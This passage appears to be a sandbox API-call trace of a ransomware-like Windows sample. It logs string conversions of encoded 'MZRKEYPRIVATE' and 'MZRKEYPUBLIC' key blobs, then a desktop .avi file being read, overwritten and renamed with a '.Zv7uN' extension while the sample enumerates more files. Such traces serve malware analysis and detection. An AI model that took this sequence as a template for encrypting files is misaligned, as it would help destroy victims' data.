cKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.053] GetCurrentThreadId () returned 0xa30 [0127.053] GetCurrentThreadId () returned 0xa30 [0127.053] GetCurrentThreadId () returned 0xa30 [0127.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.054] GetCurrentThreadId () returned 0xa30 [0127.054] GetCurrentThreadId () returned 0xa30 [0127.054] GetCurrentThreadId () returned 0xa30 [0127.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QjoWcYLR8WS55TFlj.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qjowcylr8ws55tflj.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.054] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.054] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.055] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x4b4 [0127.055] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.055] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x4b4, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x4b4, lpOverlapped=0x0) returned 1 [0127.057] CloseHandle (hObject=0x120) returned 1 [0127.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QjoWcYLR8WS55TFlj.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qjowcylr8ws55tflj.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.094] WriteFile (in: hFile=0x120, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x4b4, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f978*=0x4b4, lpOverlapped=0x0) returned 1 [0127.097] CloseHandle (hObject=0x120) returned 1 [0127.098] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QjoWcYLR8WS55TFlj.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qjowcylr8ws55tflj.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QjoWcYLR8WS55TFlj.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qjowcylr8ws55tflj.avi.zv7un")) returned 1 [0127.100] GetCurrentThreadId () returned 0xa30 [0127.100] GetCurrentThreadId () returned 0xa30 [0127.101] GetCurrentThreadId () returned 0xa30 [0127.101] GetCurrentThreadId () returned 0xa30 [0127.101] GetCurrentThreadId () returned 0xa30 [0127.101] GetCurrentThreadId () returned 0xa30 [0127.101] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cebef80, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x2cebef80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0xeee9ce00, ftLastWriteTime.dwHighDateTime=0x1d622ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e000, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="svchost.exe", cAlternateFileName="")) returned 1 [0127.101] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.101] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.101] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ebeee00, ftCreationTime.dwHighDateTime=0x1d5d90a, ftLastAccessTime.dwLowDateTime=0x4abad0d0, ftLastAccessTime.dwHighDateTime=0x1d5db88, ftLastWriteTime.dwLowDateTime=0x4abad0d0, ftLastWriteTime.dwHighDateTime=0x1d5db88, nFileSizeHigh=0x0, nFileSizeLow=0x3432, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="Ud_n8Mu.wav", cAlternateFileName="")) returned 1 [0127.101] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.101] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ud_n8Mu.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ud_n8mu.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ebeee00, ftCreationTime.dwHighDateTime=0x1d5d90a, ftLastAccessTime.dwLowDateTime=0x4abad0d0, ftLastAccessTime.dwHighDateTime=0x1d5db88, ftLastWriteTime.dwLowDateTime=0x4abad0d0, ftLastWriteTime.dwHighDateTime=0x1d5db88, nFileSizeHigh=0x0, nFileSizeLow=0x3432)) returned 1 [0127.101] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ud_n8Mu.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ud_n8mu.wav")) returned 0x20 [0127.101] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ud_n8Mu.wav", dwFileAttributes=0x80) returned 1 [0127.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 